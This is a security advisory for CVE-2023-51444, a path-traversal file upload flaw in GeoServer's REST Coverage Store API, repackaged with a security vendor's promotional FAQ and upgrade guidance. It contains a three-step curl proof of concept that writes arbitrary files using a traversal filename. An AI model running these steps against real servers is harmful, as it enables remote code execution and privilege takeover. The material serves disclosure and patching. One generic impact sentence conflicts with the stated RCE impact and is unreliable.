Summary
Arbitrary file upload vulnerability in GeoServer's REST Coverage Store API
An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution.
Details
Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal.
PoC
Step 1 (create sample coverage store):
curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic"
Step 2 (switch store to absolute URL):
curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"file:///{absolute path to data directory}/data/sf/filewrite" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite"
Step 3 (upload arbitrary files):
curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write"
Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory).
References
https://osgeo-org.atlassian.net/browse/GEOS-11176
https://github.com/geoserver/geoserver/pull/7222
Impact
This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges.
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
CVE-2023-51444 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.23.4, 2.24.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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org.geoserver:gs-platform to 2.23.4 or later; org.geoserver:gs-restconfig to 2.23.4 or later; org.geoserver:gs-platform to 2.24.1 or later; org.geoserver:gs-restconfig to 2.24.1 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-51444? CVE-2023-51444 is a high-severity improper input validation vulnerability in org.geoserver:gs-platform (maven), affecting versions < 2.23.4. It is fixed in 2.23.4, 2.24.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is CVE-2023-51444? CVE-2023-51444 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2023-51444?
org.geoserver:gs-platform(maven) (versions < 2.23.4)org.geoserver:gs-restconfig(maven) (versions < 2.23.4)
- Is there a fix for CVE-2023-51444? Yes. CVE-2023-51444 is fixed in 2.23.4, 2.24.1. Upgrade to this version or later.
- Is CVE-2023-51444 exploitable, and should I be worried? Whether CVE-2023-51444 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-51444 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-51444?
- Upgrade
org.geoserver:gs-platformto 2.23.4 or later - Upgrade
org.geoserver:gs-restconfigto 2.23.4 or later - Upgrade
org.geoserver:gs-platformto 2.24.1 or later - Upgrade
org.geoserver:gs-restconfigto 2.24.1 or later
- Upgrade